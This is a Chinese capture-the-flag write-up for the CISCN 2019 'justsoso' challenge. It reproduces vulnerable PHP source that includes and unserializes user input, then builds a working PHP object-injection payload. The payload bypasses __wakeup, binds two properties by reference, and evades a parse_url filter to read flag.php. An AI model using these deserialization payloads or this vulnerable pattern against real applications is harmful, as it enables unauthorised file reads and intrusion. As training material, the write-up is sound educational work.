ciscn2019-justsoso涉及知识点总结
2019-05-05 20:01:28
题目源码:
index.php
<html>
<?php
error_reporting(0);
$file = $_GET["file"];
$payload = $_GET["payload"];
if(!isset($file)){
echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
die('hack attacked!!!');
}
@include($file);
if(isset($payload)){
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value){
if (preg_match("/flag/",$value)) {
die('stop hacking!');
exit();
}
}
$payload = unserialize($payload);
}else{
echo "Missing parameters";
}
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
hint.php
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
?>
先来看hint.php的源代码,我们需要构造反序列化字符串读取到flag.php文件,handle类中调用了getflag方法,而flag类中同样存在getflag方法,在我博客曾写过这么一篇文章
我们可以通过构造反序列化字符换来调用Flag类中的getflag函数。
这里涉及到题目的几个注意的点:
- 我们需要绕过wakeup函数
- 我们还需要想办法对下面的校验进行处理
对于wakeup函数的绕过问题,可参考前面的反序列化文章,里面有详细的总结
源代码中要求token和token_flag值是相等的,对于token和token_flag
的比较,这里要熟悉一下PHP中的指针,我们可以将token和token_flag
绑定到一个地址上,这样无论我们赋予token什么值,token与
token_flag总是相等的
所以payload我们可以这样写
<?php
class Handle{
private $handle;
public function __wakeup(){
foreach(get_object_vars($this) as $k => $v) {
$this->$k = null;
}
echo "Waking up\n";
}
public function __construct($handle) {
$this->handle = $handle;
}
public function __destruct(){
$this->handle->getFlag();
}
}
class Flag{
public $file;
public $token;
public $token_flag;
function __construct($file){
$this->file = $file;
$this->token_flag = $this->token = md5(rand(1,10000));
}
public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)
{
if(isset($this->file)){
echo @highlight_file($this->file,true);
}
}
}
}
$a = new Flag("flag.php");
$b = new Handle($a);
$a->token = "yemoli";
$a->token_flag=&$a->token;
echo serialize($b);
?>
得到如下的payload
O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:6:"yemoli";s:10:"token_flag";R:4;}}
Handlehandle的长度为12,但是它却显示是14,这是因为成员变量是私有变量,查看源代码发现生成了两个方块一样的不可见字符
我们用%00填充即可,同时要注意绕过wakeup
最后的payload
O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:6:"yemoli";s:10:"token_flag";R:4;}}
然后我们转过来看index.php
需要思考的是这一部分
我们可以利用该函数多个/返回false的特性绕过
payload
http://127.0.0.1///?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";s:6:"yemoli";s:10:"token_flag";R:4;}}